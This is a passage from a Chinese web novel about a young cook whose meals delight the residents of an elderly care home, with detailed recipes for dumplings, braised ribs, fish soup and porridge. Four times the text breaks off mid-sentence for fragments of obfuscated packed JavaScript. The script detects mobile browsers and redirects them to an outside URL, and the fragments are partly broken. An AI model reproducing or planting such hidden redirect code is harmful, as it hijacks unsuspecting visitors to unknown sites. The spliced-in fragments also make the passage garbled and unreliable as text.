煎饺最重要的过程就是煎，要把底部煎得金黄焦脆才好吃。为了达到这个效果，平底锅里的饺子要撒上一层淀粉水，但水不能没过饺子。撒水以后盖上锅盖，继续煎制。等到锅内水分全部煎干，饺子底下一层形成脆脆的金黄色一层，看上去漂亮极了。 眉小艺在一旁猛咽口水，仿佛自己已经能想象到咬下煎饺外脆里嫩的感觉了。 饺子煎好后放在大托盘里，各种不同的粥都做好了，依次将它们端到打饭处。早餐小菜一共四样，也都被端了上去，主食就是这煎饺了。 食堂门一开，老人们一起涌进来，拿了托盘，都直奔那煎饺。味道实在太香了。 老人尹涂花拿了十几只煎饺放在托盘里，一边喝下一口黑米粥，一口咬住煎饺，随即发出“哇”的一声。热乎乎的煎饺，底壳非常酥脆，再咬一口馅料，肉馅非常嫩滑，白菜碎绿绿的在其中点缀，汤汁丰盈，一口下去，充盈口腔，香的不得了。 细细看，煎饺上还有出锅时撒的一层小小的葱花。这馅料的味道，调得也太好吃了，感觉苏桃有独门秘方。她不由感叹：“看起来简简单单的馅儿，怎么跟我在家里面做出来的猪肉白菜就是不一样？” 坐在右手边的老闺蜜点头：“是啊，什么食材到了小苏手里都变得香香的，还是人家厨艺好，你看这饺子底下这煎出来的花纹，是很高级的水平，这叫冰花，都是镂空形状的，饺子底儿看着油油润润的，光泽多好看呀！” 佐餐的小菜，今天有酸甜白萝卜，酸甜可口，非常开胃。做法也比较简单，白萝卜切成薄片，腌制过程中需要加盐，把里面的水分杀出来，然后再将白生生的萝卜放到瓶子里，加入调料，生抽、白醋、蒜片、少量的蜂蜜。 玻璃缸内要完全保证干燥，倒入白萝卜和调制的溶液以后，密封封存，冷藏保存。苏桃是两天前腌制的，今天刚好可以吃，用来佐早餐最合适不过了。咬起来脆生生的，味道可口清爽，几口下去，就能解了早餐吃煎饺稍稍的油腻，保证味觉平衡。 武真宁最喜欢吃苏桃做的各种小菜，看起来平平无奇，但咬下去总会让人惊艳。于是她多盛了些酸甜白萝卜，边吃边说：“这酸甜小萝卜怎么有种魔力啊，吃了还想让人吃！” 旁边李璇领久病成医，懂不少养生知识，告诉她说：“中药里面所说助消化的药材莱菔子就是萝卜的种子，有消食的作用。如果吃得有些撑胀，多吃一些萝卜也能降气助消化。我看你最近消化能力好不少，胃病的药都不吃了。” 武真宁这才恍然大悟，怪不得苏桃常常做酸甜白萝卜做佐餐小食，腌制好一缸新的，吃完再腌制一缸，原来是有这样的作用啊！ 吃着苏桃营养搭配好的食物，不光满足人的口腹之欲，她的确觉得自己最近消化能力也有所提升，不像以前那样虚弱。以前吃完一顿饭，总要走路走个大几千步，才能感觉肚子里的食物稍微消化下去一点。人老了，消化能力大不如前，她是知道的。 她一直疑惑的就是，为什么苏桃做的饭，每次大家都会多吃，但不阻碍消化。原来苏桃是有自己的小巧思，就比如她也会熬一些助消化的山楂酿，喝起来酸酸的，特别开胃消食。 吃完早饭，李璇领背着手慢慢地走出了院子，出了养老院的门。不过和以往她的状态不同，最近她吃得好，睡得好，整个人红光满面，精神头很不错，摇摇晃晃，嘴里还哼着戏曲呢。 一些经常看到她出来遛弯的街坊邻居，冲她打招呼，都不由惊讶：“阿姨，这是遇到什么喜事了呀，最近这么开心。看你这精神头，越来越好了，是不是孩子给你添个孙子孙女了？” 李璇领摆摆手：“不是，不过最近就是心情好，可能跟我们家家乐养老院换了大厨有关。不说了，我溜达一会儿，快到中午的时候，我得赶紧回来，省得吃饭赶晚了。” “有这么好吃呢？说的我都想尝尝，不过那养老院平常人也进不去呀。” “能进，怎么进不去？我跟保安说一声，你们就能进，额外掏个饭钱就是了，便宜又好吃，肉食管饱，比你们在外头餐馆里吃还划算呢。” “真有这种好事儿？”旁边几个邻居对视一眼，“那改天找个机会，我们也进去尝尝。” 李璇领点点头，哼着歌继续走远了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15697169|173116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 快到中午，苏桃在准备蓝莓山药做午餐甜点。她提前购买了铁棍山药，口感更扎实绵密，更适合做蓝莓山药。 眉小艺帮忙把山药去皮切成段：“苏桃小姐姐，接下来该怎么做？” 苏桃直接操作给她看，把切成段的山药泡在盛了水的大盆里，放一点点白醋，这样可以保持它的雪白颜色在加工过程中不改变。浸泡一会儿后，把它上锅蒸熟。 苏桃告诉眉小艺：“大概20分钟以后，你掀开锅盖儿看一眼，如果筷子能把它从这头到那头完全穿透，就可以关火了。”说完，苏桃去处理今天的主餐食材。 时间到了，眉小艺将山药所在的锅关火，把山药从锅里拿出来，将它倒入一个盆中。 苏桃开始教她操作：“你也拿一个勺子，我们一块儿把这些山药按压成泥。” 两个人一起操作速度会更快一些。蒸软到熟烂的山药很快变成绵密的雪泥。在不停压动的过程中，苏桃还要在其中加入一些鲜牛奶。随后，她准备了裱花袋儿，可以将山药做出不同的造型。苏桃提前准备了一次性小托盘，将山药做成一份儿一份儿，到时候老人们可以将整个小盘子端走，就可以尝到上面摆好造型的蓝莓山药了。用裱花袋轻轻一挤，挤出花朵般的形状，再微微向上一点，让它形成一座小雪山一般。 苏桃开始制作蓝莓酱。今年的蓝莓比以往便宜很多，苏桃特意多买了些，个头虽然不是最大，但咬起来酸甜适中，最适合做酱。把可爱的一颗颗蓝莓倒进大盆里，同样用勺子将它碾碎，倒入少量白糖，开火添水。在锅里不停地搅拌，直到浓稠的蓝莓汁液变得粘稠就可以关火。 蓝莓酱直接被淋上一座座山药小雪山上，盖上一层，山药雪塔顶部的色泽就变得紫红，看上去形状独特又好看。这样整个蓝莓山药的甜味就从这些蓝莓酱里获得。 中午时间到，老人马艺海走进食堂，看到了十几年前孩子带自己去旅游时吃过的饭店里的蓝莓山药，那还是在首都的大酒店，当时吃完就念念不忘。 这会儿他不由眼前一亮：“哎呦，这个太久违了，我得再回味回味这味道。当时吃起来软软糯糯山药泥可好吃了！” 马艺海打完了几道荤菜素菜，坐在那儿第一口吃下的，却是这道蓝莓山药。这一次不得了，他直接感慨起来，忍不住跟旁边人强烈推荐：“你们快尝尝这蓝莓山药，实在太好吃了，酸酸甜甜的，而且这山药的口感跟咱们平时吃的不一样，做成山药泥以后我觉得山药就更好吃了呢。” “是吗？那我尝一口。”旁边坐着的老赵头挖了一勺，山药泥在嘴中化开，细腻绵滑，而且配酸酸甜甜的蓝莓酱，味道就更是丰富可口。 即便是以前很少吃甜品的老赵头，都夸赞起来：“这个做的真细腻啊，我爱吃。” 19. 清炖蟹粉狮子头＋干锅土豆片^^…… 中午的主菜，苏桃选择的是一道清炖蟹粉狮子头。做狮子头，最重要的就是选材。猪肉一定要选择新鲜肥瘦相间的，确保吃起来肥而不腻。五花肉或梅花肉都行，但五花肉肥肉要占到三成以下。 将买来的肉切成碎丁，越碎越好，如果用绞肉机绞成肉泥，吃起来口感太过软烂，反而不如掺杂肉丁的狮子头更有嚼劲、更耐吃。 肉馅儿准备好后，眉小艺在一旁将马蹄在水中浸泡以后，轻轻削去马蹄的外皮，剥出清白透亮的部分，将马蹄切成碎丁，待会儿要跟肉馅儿混合在一起。 蟹粉是这道菜的点睛之处，但蟹黄有限，一般来说会放在整个团起来的狮子球顶端做装饰用。但为了确保肉团中含有蟹味儿，会将一些蟹肉掺入切剁好的猪肉中，提升一点香味。 接着将猪肉、蟹肉和马蹄用手拌匀以后，苏桃叫眉小艺将馅料团成狮子头：“像这样抓起手心大小的一小团，不要只是搓，可以在两只手中来回倒几下。” 眉小艺恍然大悟，因为每一颗狮子头分量比较足的缘故，这样倒反而会快一些。接着一个圆球就定型了，再把蟹黄点在狮子头的中心，黄黄的颜色像花蕊一般，让整颗狮子头的色泽更加好看。 将狮子头放入大大的砂锅以内炖煮。这个过程要小火慢炖才能慢慢蒸腾出滋味儿，所以整个狮子头大约一个小时才将它从砂锅中捞出。在小碗内放少许肉汤，点入一颗小青菜，白色小碗内，粉红色的狮子头、黄色蟹粉、绿色青菜叶的搭配，让眉小艺忍不住感叹：“真好看呀！” 新鲜熬炖出来的狮子头刚出锅，老人们饭吃到半途，就听见眉小艺在那边大喊：“狮子头来了！” 老人章发红离得最近，苏桃从厨房端出来的时候，她首先闻到这个味道，差点香到栽跟头，连忙一个健步上前，端了一份清炖蟹粉狮子头。 光是闻着味道就鲜香无比。咬下一口，软嫩Q弹，猪肉夹着蟹肉原本就鲜香，再加入马蹄，肉香中多了一股素雅的清脆。章发红不禁和身旁的袁天荟感慨：“听说这清炖蟹粉狮子头做的好了，可是国宴，没想到今天我因为小苏也有了这口福！” “是啊，清炖蟹粉狮子头一些老式酒楼也有做，不过上限特别高，做得好的特别好吃。我觉得小苏这个就能达到最高的标准了吧？我很难想象还有比这更好吃的清炖蟹粉狮子头，这真是非常惊艳了。” “我女儿上回来看我，还说呢，怎么胖了好些，看着都圆润起来了？那还不是因为小苏的饭菜啊！她做的可真好吃！” “是啊，咱都一大把年纪了，吃好喝好才是最重要。而且你这身材叫富态，哪里算得上是胖得那么夸张了，根本不用减肥的，多吃点才好。”袁天荟笑呵呵道。 吃饱了饭，袁天荟摸了摸微微鼓起来的肚皮，说道，“今天好像有理发师过来给老人剪发，优惠是吧？” “是啊，每月来两次，剪短发5块钱，长发10块，都是老师傅，平时在这一带，搬个凳子过来就能剪发。如果有想剪的直接坐上，人家师傅速度又快，剪得又好，比理发店要优惠多了。” “行，我这头发有点长了，下午也叫他们剪一剪。” 午餐结束，苏桃和眉小艺分别回到自己的宿舍休息。等到下午，果真来了几个剃头师傅，年纪都不小，应该是祖传下来的手艺。工具也很简单，摆了几个小凳子在院子里。苏桃有些好奇，从窗户看出去，有些老人一见人来了，就提前占座坐上去。 老人宣奇茂捋了捋头发说：“夏天了，天太热，师傅，你帮我直接拿推子把头发推光得了，凉快。” “那我可真推了啊，大哥。” “推吧，每年夏天我都要推一次。” 聊着聊着，他们把话题转移到苏桃身上。理发师惊叹：“嘿，大哥，你这头发上次我剃的时候，我记得还是颜色发白，怎么这会儿都长出一些黑发？” 宣奇茂笑笑：“看，我就说吧！我还让我老伴儿看来着，她也说我这两鬓边儿上的白发，已经开始长出黑黑的新发来了。” “这是您保养得好。” “哪有，药物还是之前那些。不过最近吃的好了，气血足了，我整个人都像焕发新生一样。可能头发也换发新生了吧，所以新发蹭蹭往外冒。” “嚯！什么饭菜能达到这种效果？” “当然是我们这儿大厨的饭菜，你们给院儿里这么多老人剪完估计也不早了，今天不如师傅你留下来，晚上尝一尝这里的饭菜你就知道了。” “真能有这么好吃？我听说一般搭配营养的菜，味道都不好。” “那你是没遇上好厨子，不知道我们小苏呀，做的饭菜就是既营养又好吃的！” “行，既然您这么认可，那我可得尝一尝。”理发师李如圆笑着，拿起推子，在宣奇茂脑后一推下去，一块儿头发就掉落在地。 苏桃看了看自己的头发，发尾也有些长了。她现在可没钱去那些昂贵的发廊理发厅什么的，动不动就要推销办卡。而且就算简单剪个头发，像她这样的长发，怎么也要50到100多，这还是普通的理发店。相比之下，这些理发师傅收的费用真的很低了，挺划算的。她也打算去剪一剪。 于是等她站下楼排队的时候，刘阿姨看见她要剪发，拉着她的手，让她站到自己身前：“小苏，你先剪，我不着急。” 苏桃有些不好意思，但她被刘阿姨推在身前，又看见理发师傅招手，说了句“谢谢阿姨”，走上前去。苏桃头发剪短了些，扎一个小小的马尾，但看起来清爽多了。眉小艺看见了，跑过来，上下打量着苏桃：“小苏姐，没想到这师傅剪得还真挺好。” 苏桃回到食堂准备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15704078|173116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚上的饭菜。几道素菜中，其中有一道干锅土豆片儿。一听到干锅，眉小艺的眼睛就亮了：“我最喜欢吃各种干锅了，干锅花菜、干锅土豆片、干锅包菜粉丝我都喜欢，吃起来特别香，味道也浓郁。” “好，那你准备一些青红椒、蒜片，在里面增添一些风味儿。” “好。”眉小艺转身开始忙碌起来。苏桃处理完土豆，切成片儿以后要进行一次煎炸。煎的过程中油能少一点，不至于吃起来太油腻，但是要保证土豆表皮的焦脆。土豆要煎到表面微微焦黄的样子就可以将它盛出来了。 眉小艺也跟着操作了一会儿，很快就能煎到和苏桃做出来差不多的程度。这样闻起来，土豆就变得香气四溢。 接下来，锅热放油之后要放入五花肉，煸炒到微微卷起的程度，放入豆瓣酱，整个肉片的颜色就变得深色浓郁起来。把青红辣椒放进去，再加入蒜苗儿、洋葱等配菜。青红椒苏桃特意选择是不辣的品种，除了在口味上增添丰富度以外，还能让整道菜的配色更加好看。 最后的步骤就是把土豆片全部丢入锅中，加入调料以后不停翻炒。干锅土豆片做好以后倒进大的食盆里，放在盛饭处。眉小艺拿出去的时候，往食堂外一看，玻璃门外头已经排上队了：“哇，食堂还没到点儿，怎么大家都来了？” 苏桃说：“没关系，我这边马上做好，很快开饭。”旁边的几道菜也差不多了，因此将它们盛好倒在食盆里端出来。 十分钟以后，眉小艺上前开门，老人们闻到香味，拿起托盘，步速飞快往盛饭处走去。每次打饭时候，荤素菜都没有一个不诱人的，光是看着那些好看的色泽，老人们就直流口水。 老人沈雅欣在素菜中多加了一些干锅土豆片，米饭上也盖了一些，她是土豆的狂热爱好者，各种土豆类的菜品她都爱吃。 打完了饭菜，她坐在座位上，尝了一口土豆片，眉开眼笑：“这土豆做得可真好吃啊！” 她抬眼一看，几个理发师傅也刚刚给老人们理完发，收拾完剪头设备，从外面进来，李如圆就坐在她对面。她连忙说：“师傅，你也尝尝我们这儿小苏做的饭菜。” 刚才一进食堂，剪头师傅李如圆也有些惊讶，什么？养老院的食堂味道能这么好闻！他还真以为养老院饭菜汤汤水水极其乏味呢。 这会儿他盛了满满一托盘的菜，点点头，尝了一口干锅土豆片，“哎呦”一声忍不住叫出来：“真是好吃，我从来没吃过这么好吃的干锅土豆片。我爸以前在家老做这个，但他做的不正宗。你们这儿大厨的手艺可真好，比外头饭馆里做的还好吃呢！” “是吧，小苏的手艺吃过就没人说不好。” 李如圆大口大口吃着饭菜，突然想起什么，问道：“对了，我就在这附近一片活动，家离得也不远，我平时能来这儿吃饭吗？” 20. 奶香玉米饼＋红烧排骨 家家乐护理宿舍里，居住的是一些生了病而暂时无法下床的老人。当然，经评估这些病情不能是太过危急的，不然会联系家属送往医院。 其中一位老人张资飞，从小到大生病不断，老了也依然身体虚弱，倒是没什么重病，单纯是走起路来就觉得累，不能过度行动。前段时间，他的情况更加糟糕，甚至出了房门，在走廊里走一阵都会觉得吃力。而且，他也十分挑食，尤其是不喜欢吃肉菜。 过去，护理人员宋音西还有院长唐悦心都忍不住劝：“张叔，年纪大了，需要补充一些营养，增加体力，肉食是必不可少的。” “可我就是吃不下呀！”张资飞说着摇头，“不知为什么，那些肉到了我嘴边，看上去很美味，但闻起来味道我就没胃口了。” 这天晚上，护理宋音西照旧从食堂里打了饭菜，送往505房间。一进门却发现张资飞站了起来，在房间里踱步，甚至手里还拿本书在看。 “哎呦，张叔，你快躺下，别待会又累着了！” 张资飞笑道：“今天是什么饭菜呀？闻起来就好香。”他坐回床上，活动了一下筋骨，“说来也怪我，最近感觉气力越来越足了。刚刚试着下床走了走，嘿，奇了怪了，不累。你说说这是怎么回事？” 护理宋音西把饭盒打开，荤菜、素菜和米饭都打在一个保温盒里，不同菜品的汤汁浇盖在米饭上，和着汤汁的米饭显得更加油润，闻起来就香得不得了，尤其是上面那道青笋炒肉，清透的绿色，看起来非常清爽。咬上一口，口感爽脆，猪肉的香气为整道菜提鲜。尤其一口青笋，一口肉同时咬下去，那种油润感会在嘴巴里爆棚，口感达到巅峰。 张资飞埋着头只管吃，吃得那叫一个酣畅淋漓。不一会儿功夫，一大桶保温饭盒就都空了，他甚至还用勺刮了两下保温盒底，把最后一粒米吃得干干净净，这才感到满足。 护理宋音西人员在旁边外头看着他，心想，其实刚才的问题已经有答案了，为什么会恢复力气？是因为张叔吃得明显比以前多了，气血不足的状况改善了，并且也没有那么抗拒吃肉了。 张资飞笑眼眯眯地问护理宋音西：“小宋啊，咱楼下是不是有种的青笋？” 护理宋音西点点头：“外面那块菜地的青笋都已经成熟了。夏天种青笋，成熟得快，有的不吃都熟过头了。所以小苏说最近可能还会再炒两道青笋的菜，把它们尽量吃掉。” 张资飞点点头：“好啊好，这青笋是真好吃，脆脆嫩嫩的，没有因为天气太热而变老。” 护理宋音西说：“是啊，温度调控很重要的。种植的时候那片菜地刚好是在树林之下，不至于太热，夏天的阳光不会直接晒到它。” 张资飞感慨道：“最近我这吃得好了，身体也恢复得快，今天都能正常走路了。过两天我大概就能下去食堂吃饭了，到时候，再当面感谢一下小苏！” 苏桃这会儿正在院子后面那片地里，摘下红彤彤的樱桃萝卜。最近，有收获的菜她就把它们填入食谱，防止长到老了到时候吃不了。樱桃萝卜可以用来腌一道凉菜吃，酸酸甜甜的，脆爽可口。她将摘下来的樱桃萝卜放进厨房，把厨房的灯关掉，打算明天早上再拌萝卜。 天色黑了，她得回家睡觉了，顺便口袋里还装两颗小小的樱桃萝卜，带给苏小糯尝一尝。虽然是生的，但是口感脆爽，应该也不错。 第二天早上，送苏小糯上学以后，苏桃去了菜市场，买完菜，苏桃和眉小艺一起进了后厨。 苏桃开始做起奶香玉米饼，眉小艺为她准备好了高筋面粉。做玉米饼，肯定是需要晒得细细的玉米粉，适量的牛奶可以让玉米饼增加奶香。 其实做奶香玉米饼非常简单。眉小艺跟在旁边一起学，把高筋面粉和玉米粉搅和在一起，倒入水，搅拌出糊糊状，加入白糖做调味，玉米饼的糊糊就做好了。 苏桃让眉小艺把锅预热，热了以后，倒入玉米饼糊糊，用勺子淋在锅中的模具里，因为买来的模具是圆圆的，所以成型后就会变成圆形的一张饼，形状更加好看。 黄色的面糊上，都烙出稍微深一点的花色，就可以翻面再烙。重复几次后，玉米饼两面都变得微微焦黄，散发着玉米的香气。将玉米饼盛盘，一道简单的主食就做好了。做法家常，但十分可口。 老人付南承和涂大明一边聊着天，一边走进食堂。刚做出来的玉米饼的香气在整个食堂内飘散。 “哈！就是这个味，我以前在家里就老做玉米饼，不过现在的玉米粉更细腻了，比以前的好吃。”付南承说着，拿了足足三张奶香玉米饼放在托盘里，又夹了几只腌制好的樱桃小萝卜，端了碗皮蛋瘦肉粥，盛了两道小菜，就成了他的这顿早餐。 付南承一口咬下奶香玉米饼，瞬间感慨道：“哇，好香啊，小苏打牛奶加的不少，奶香好浓郁，真好吃！” 涂大明也咬了一口，原本平平无奇的奶香玉米饼，按理说不会太超出想象，但小苏就是小苏，她做出来的东西总是令人惊讶。涂大明“唔”了一声，大感震惊：“以前我家门口有一家主食店，老去那儿买玉米饼，但哪怕是新鲜出炉的，咬起来也是硬茬茬的。小苏这奶香玉米饼怎么会这么松软，入口即化，嚼起来像云朵一样，这也太好吃了吧？” “是啊，看起来好蓬松，好像和我之前买的玉米饼也不一样，这应该就是手法问题了，可能是火候，也可能是苏桃这糊糊调配的方法跟人家不一样，又蓬松又宣软，还很细腻呢，应该是玉米粉和面粉被筛过了，用的是最细嫩的部分。” 外头阳光明媚，天色碧蓝，涂大明看向窗外片刻，突然开口：“我打算在后院林子里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15722275|173116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扎个秋千。上回周大姐说自己从小就有个愿望，想在院子里扎个秋千，但是她家那会儿没有院子，所以一直也没能实现。去她家附近健身公园玩儿呢，那秋千又被坐坏掉了，一直没人来修，她也不敢坐。现在在养老院，刚好有地方，我就想着在林子里扎一个，周大姐平时可以坐上面玩一玩，她的其他姐妹也可以玩。” “哎呦，我说你这么殷勤呢。我看你没了老伴之后，情绪一直不好，最近开心起来，尤其是周大姐跟你一说话，你都眉开眼笑的，难不成你是看上她了？” “哪里，周大姐是我的军师，也是我的好朋友。你没看下棋的时候，她可厉害了，因为她的提点，我下棋赢的次数都变多了！我怎么也得回报一下人家不是？” 两人说着，笑了起来。苏桃恰好从旁边经过，听见这些话，也不由替他们感到开心。据苏桃了解，家家乐养老院有不少老人是丧偶以后，独自一人生活太孤独，孩子有自己的工作，没办法照顾，所以他们才来的养老院，单身的比较多。 有些陷入悲伤情绪好多年了，每天都闷闷不乐，长期那么下去，对身体不好，眼看着越来越瘦，周围人劝阻也没有办法，唯一的方式是自己走出来，寻找到生活中的乐趣。哪怕是为好朋友扎一个小小的秋千。 中午，苏桃打算做一份红烧排骨，已经提前去菜市场买好了新鲜的猪肋排，也找菜场上的卖家给切剁成了小块，这样她自己回来处理的时候要简单很多。 眉小艺依旧在准备配料，生姜、大蒜、香叶等。红烧排骨做起来并不难，排骨冷水下锅以后等待煮沸，等到表面有了浮沫，就用勺子将浮沫撇掉，这样排骨里那些杂质就去除了。将排骨捞出放在一旁备用。 最重要的一步就是等锅烧热以后放油，加入冰糖炒糖色，这是红烧排骨颜色变得浓郁好看的关键。等冰糖炒得从透明色变身，锅里扑腾腾出现一些小小的气泡，颜色变得蜜红，就可以将排骨倒入，用勺子不停地翻炒，让糖色均匀裹在排骨上。配料全部放入，加生抽、老抽，翻炒以后加水，开始慢炖。 锅里的排骨比较多，怎么也得炖一个小时。当所有的排骨都炖到软烂以后，锅里的水也变少了，汤汁变得浓稠。这时候就要打开锅盖翻炒，直到汤汁被大火收得差不多了，全都包裹在排骨上，酱红的颜色非常鲜艳好看，就可以关火了。 再撒入一些细碎的小葱花，这道红烧排骨就做好了。味道真是扑鼻的香。眉小艺站在旁边不停地咽口水，馋得她口水直流，而且这色彩也太好看了，红润红润的，诱人的不得了。 她把红烧排骨全倒进食盆，端到打饭处。院子里散步的老人们，已经有几个顺着香味闻了过来。 “哇~好香啊，中午应该有排骨，还是红烧排骨，我最爱吃的排骨的做法，今天我可要大吃特吃！” 21. 黑豆鲫鱼汤＋美龄粥 梅南卜是个70多岁的老人，怕寂寞，每过一段时间总想回家，不愿意在家家乐养老院待着。所以动不动就给儿子女儿打电话，让他们接自己回去。有时候，她甚至会一声不吭地，悄悄从养老院溜出去，直接跑回家。 养老院院长唐悦经常心急得不得了，给她家属打电话才发现，她居然溜回去了。 不过自从苏桃来了家家乐养老院之后，情况发生了改变。这段时间，梅南卜再也不觉得养老院无聊了，反而每天都盼着吃饭。今天还特意拿出了衣柜里一件花色连衣裙换上，看起来心情很好的样子。 她小时候，吃到妈妈做的第一份排骨的做法就是红烧排骨。在那之后她就觉得，排骨用来红烧是最好吃的。所以闻到这个味道，她就勾起了回忆，早早地守在食堂门口。 门一开，她走进去，打了满满一盘红烧排骨。一口下去，酥软脱骨，浓郁的汤汁包裹在油亮的排骨肉上，好吃得她内心想要尖叫。 梅南卜的手机放在宿舍，此刻突然在宿舍响起铃声来，但她没随身带着，并不知道。保安处，一个中年男人正拿着手机，有些焦急地往里进，被保安拦住：“做什么去？” “我母亲就在养老院住，最近她不联系我们这些当儿女的，也不想着回家看看。她以前行为举止和现在完全不同，我要进去看看，她是不是出什么事了？” 保安皱了下眉：“我没听说有什么老人出问题呀。你说说她的名字，我应该有印象。” “我妈姓梅，叫梅南卜。” “哦，是梅姐！上午我还看见她在院子里跳广场舞呢，身体也没像有什么不舒服的。” 儿子这下也纳闷了。 “稍等，我登记一下，行了，你进去找找她吧。现在都是吃饭的地儿，老人们大概都在食堂。” 胡米荣朝食堂走去。刚到食堂门口，一股喷香的味道袭来，他被这味道勾得腿都软了一下，连忙进了食堂。问了旁边的工作人员：“我能在这儿吃顿饭吗？刚好我中午也饿着呢。”他的肚子适时咕噜咕噜叫了起来，表明了他对这些食物的渴望。工作人员点点头。 胡米荣打完了菜，还专门拿了一道黑豆鲫鱼汤，是用小盅盛着的，看上去很精致的样子。他在食堂里扫了一圈，恰好看到了梅南卜。好在，老妈看上去红光满面，确实不像是有什么身体问题。 梅南卜被胡米荣拍肩的动作吓了一跳，对他的到来也表示诧异：“哎呦，你怎么来了呀？”听上去似乎不像很欢迎自己。 胡米荣震惊道：“妈，你之前不是每周都要跑回家两次吗？这都几周了，还不回去，也不在我上班时间给我打电话了，我还真有点不适应。” “我好着呢，你们不用担心我。”梅南卜说着只顾吃饭，排骨她已经盛了第二次了，红润的肉色，入口即化，后味是甜而不腻的甘香。胡米荣光是看了一眼，就口水直流。 他旁边这道黑豆鲫鱼汤，汤炖得浓白，汤料中还有一些笋丝和火腿丁，饱满的黑豆点缀其中，粉的、绿的、黑的、白的，色彩搭配非常好看。 这道鲫鱼汤，苏桃做的时候也很简单。选用的是绿芯的黑豆，这种黑豆富含蛋白质、维生素，花青素也有不少。在中医上更是滋阴润燥的好东西。 眉小艺帮苏桃把剥好的鲫鱼洗干净，内脏啊什么的都在菜市场被人处理过了。苏桃在锅中倒油，把鱼稍微煎一会儿，两面微微出现黄色，就差不多了。再在锅里添水，放入黑豆，煮大约一个小时。之后放入盐、少许胡椒粉等调味，出锅时再撒上切好的碧绿的葱花，味道鲜香扑鼻，让人食欲大增。 胡米荣尝了一口，愣了一瞬。这还是他想象中的养老院吗？之前家家乐养老院的饭菜，他不是没吃过，考察其他养老院的时候也都尝试过，那些养老院的饭菜跟眼前这些菜完全不是一个水平的，这明明是五星级大餐的水准！ 味道入口先是鱼汤的鲜香，再是微微胡椒的回味，味道香醇不已。他光顾着喝汤，一会儿就把碗里的汤全喝了个干净，那一大块鱼肉也吃完了：“妈，我再去盛一份。” 胡米荣来到黑豆鲫鱼汤桶旁边，看见不少老人又都在盛第二碗。胡米荣给自己和梅南卜各盛了一碗，坐回原位感慨说：“妈，我现在总算知道你为什么不回家了。要是一日三餐都有这种水平的饭菜，我也不想回家。” 梅南卜笑道：“你的退休还早呢，现在想吃也没这口福喽。” 胡米荣头一次从梅南卜脸上看到了她住在这个养老院的自豪感。这么观察起来，他妈身体好端端的，原本有些瘦窄的脸盆、尖尖的下巴，这会儿都圆润了一些。他放下心来：“那你就待在养老院，我跟我妹会常来看你。” “不用，你们有事就忙你们的去。” “那不行，我得经常过来，起码一周来一次。其实要不是工作单位离得远，我都想每天都来这吃饭。”毕竟刚才他打的几道荤菜素菜，无论是红烧排骨、黑豆鲫鱼汤，哪怕是一道炒青菜在内，都好吃的不得了，每一道都是惊艳他的水准。真是难以想象，这里的老人居然能吃这么好。 养老院的秋千在几个老人的帮助下，很快扎好了。眉小艺非常兴奋地拽着苏桃，在中午睡醒以后，去了后院儿看看。 郁郁葱葱的树林之下，一枚秋千在风吹动下摇摇晃晃。秋千两边的绳索上，还有阿姨们在上面点缀的花朵，看上去真像一幅画。 “小苏姐，咱们也去坐坐看吧！” 旁边的老人易林巧看见这一幕，也连忙说：“对呀，小苏，你上去试试吧，可好玩儿了。”苏桃挡不住热情，只好坐上去，然而，易林巧三句话不离吃，突然开口：“小苏，咱今天晚上吃什么？” 苏桃说道：“今晚的粥有新花样，是南京的传统美食美龄粥。” “哎呀，美龄粥这我知道，说是宋美龄最爱吃的粥， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732904|173116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她原本胃口不好，自从吃了这个粥以后，就恢复了食欲呢！不过我很想知道，这粥真有这么神奇？” “阿姨你晚上尝尝就知道啦！” 从后院回去食堂，苏桃就开始准备做美龄粥需要的食材。小小一碗美龄粥所需要的材料还真不少。首先，它的打底是豆浆，保证了它的细腻感。除此之外，还有糯米、山药、粳米、百合，再放一些冰糖。在熬美龄粥的时候，火候很重要，一定要用小火，慢慢地熬煮一两个小时。等到所有食材都煮到软烂，甚至完全软绵融在汤里，就可以盛出来了。 